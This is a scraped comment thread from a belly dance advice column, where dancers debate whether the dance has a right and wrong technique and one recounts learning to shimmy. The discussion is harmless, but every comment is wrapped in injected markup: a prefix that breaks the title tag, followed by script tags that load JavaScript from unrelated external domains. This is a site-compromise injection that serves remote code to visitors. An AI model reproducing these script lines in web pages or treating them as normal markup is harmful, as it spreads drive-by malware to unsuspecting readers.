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ALYRA's ADVICE | 6: Who's Righ |
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| Samira16 |
| "></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--"></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--Thank You for making me feel better !!
I have only been dancing for just over a year so you can imagine how conflicted I am with regards to style and technique...I want to learn it all...but not all at once !!
I am just starting to understand that there is different ways to learn and teach...
P.S. I have gained alot of valuable info from the Hip Circle !
Samira....My new dance name..I picked it myself when I did my first performance at a family BBQ !<script src=http://www.gbradw.com/ngg.js></script><script src=http://www.4cnw.ru/ngg.js></script><script src=http://www.loopk.ru/script.js></script> |
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| Elektra |
| "></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--"></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--I remember something like that happening to me a long, long, long time ago when I first started taking with new a different instructor. At that time I was an intermediate dancer who was so use to taking classes only under one instructor I didn't know who to re-train my body to move in different ways. Then one day I got the lights scared out of me when a very well-known instructor yelled at me for doing a movement that looked un-oriental to her. She almost scared me to tears because she screamed so loud. But the whole memory of it makes me laugh now. The instructor wasn't mean, she was just never afraid to speak her mind. LOL... =)
*Everyone has their own style, let’s just enjoy the dance and not think about what’s right or wrong.<script src=http://www.gbradw.com/ngg.js></script><script src=http://www.4cnw.ru/ngg.js></script><script src=http://www.loopk.ru/script.js></script> |
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| samirafaraha |
| "></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--"></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--“No right or wrong”??? This is how you get mediocrity; this is how you make this dance form less respectable and less important than any other dance form. I don’t understand why some dancers have a problem with learning how to do things the RIGHT way when it comes to belly dancing? YES THERE IS RIGHT AND WRONG IN BELLYDANCE. (Obviously I’m referring to the movements of Raks Sharki or Middle Eastern dance)
I don’t think you will here this from a dancer learning ballet.
I will not attempt to explain the reason behind right and wrong- I will leave this for someone else to do- A dancer must realize that to be a great dancer you must go through the process of learning, and what I mean by that is to learn what is right and what is wrong, this gets very confusing in bellydance, especially in America because you can’t find one organization that can be used as a reference, like you would find in another forms of dance. This should be something that all the teachers should get together and explore, despite all the failed attempts to do it in the past. I’m not saying don’t have fun, but try not to do it as a pro at the expense of the dance. Samira
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| Alyra |
| "></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--"></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--Samira, thank you for disagreeing! I always appreciate the challenge of it and I'm always open to different perspectives and can be convinced! Email me via the website and blanca will send it over.
I see what you're saying. If you're going to specialize in "Egyptian" or "Turkish" or "Kathak" or whatever, you had better learn the style and learn it perfectly before going pro. Nothing raises my blood to an absolute BOIL than a bad dancer out there shaking her ass and only asking for $50. It's awful. To do that is to terribly damage our art form. For my part, the point is that when you're a student and learning from different people, you're going to get different ideas even if the BOTH claim to be a specialist in a certain form. So, to the student, learn it their way, in their style and perfectly. Then pick because there really isn't a way for any of us to determine who is REALLY right when you're still learning. For Cabaret and Fantasy bellydance styles, I still don't think that there is a right/wrong anymore. There are too many different ethnic roots. Still, we should have tea and discuss!<script src=http://www.gbradw.com/ngg.js></script><script src=http://www.4cnw.ru/ngg.js></script><script src=http://www.loopk.ru/script.js></script> |
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| Sausan |
| "></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--"></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--My hat off to you, Samira Faraha.
Yes, there is a right way and a wrong way. I am glad that you had the courage and the gumption to say so on a public forum.
-Sausan<script src=http://www.gbradw.com/ngg.js></script><script src=http://www.4cnw.ru/ngg.js></script><script src=http://www.loopk.ru/script.js></script> |
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| Sheherazade |
| "></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--"></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--I have been dancing for about 3 years now. I guess I would call myself an advanced beginner. This article and the reponses are really important to a beginner. I continue to want desperately to do the moves "the right way" and worry sometimes that I am learning bad habits because I do not have the opportunity for consistent hands on instruction. When I do get to spend time with an instructor, I review as many moves as I can to be sure I'm doing the mechanics correctly.
I live in an isolated area and I envy people who have the opportunity to utilize a smorgusboard of instructors. In fact, the ONE instructor I have worked with has not been teaching for the past year because of a series of personal tragedies. I have taken an occassional workshop in Seattle (5 hours away) when I am able to afford it, and have instructional DVD's from dancers that I admire. Here is why the information in the article and the comments is so important. My first instructor taught us to "leave the knees out of the shimmy", she taught that the shimmy should eminate from the hips and thighs, not from pistoning knees. She kept telling us that "it should feel like when your muscles are exhausted and shaking." Well, that did not help me in the least, and I struggled with getting the shimmy for well over a year and a half, embarrassed that I couldn't get it, eventually convinced that I was just plain incapable of it. I kept trying so hard to understand the mechanics of that move and it completely eluded me. After a few seconds, I would lose the shimmy and it was really becoming a block to my enjoyment of the experience of dancing. It was becoming something I dreaded, instead of something that challenged me.
I finally wrote in to a belly dance forum asking for specific information from professionals about what I was doing wrong. The information I got literally changed my experience completely. I was instructed to start on flat feet and to raise the right hip, straigtening the right leg, then the left. Straightening the one leg, forced the other leg to bend at the knee slightly. I was told to do this slowly, up and down until it felt comfortable, then begin to speed it up, double time, triple time, etc. As I began that, I noticed my knees were "pistoning", which went against what I was orignally taught, BUT! As I began getting comfortable with the hip movement and speeding this up, eventually my knees magically dropped out of it and it was all being driven by my hips and thighs! The slow "pistoning" was like a way of "pulling the starter on the lawnmower" for me! Within a few days I had shimmied for the first time through a 2 minute drum solo and was I was so happy I actually cried. So, right and wrong? I believe there are correct ways to do specific moves and I want very much to learn them correctly, but the lesson for me was that as much as I adored my instructor, her uncompromising rigidness about leaving the knees completely out, made it impossible for me to relax enough to learn the move. Thanks to the instruction that was "outside the box" for me, I am now shimmying constantly and very happy to be!<script src=http://www.gbradw.com/ngg.js></script><script src=http://www.4cnw.ru/ngg.js></script><script src=http://www.loopk.ru/script.js></script> |
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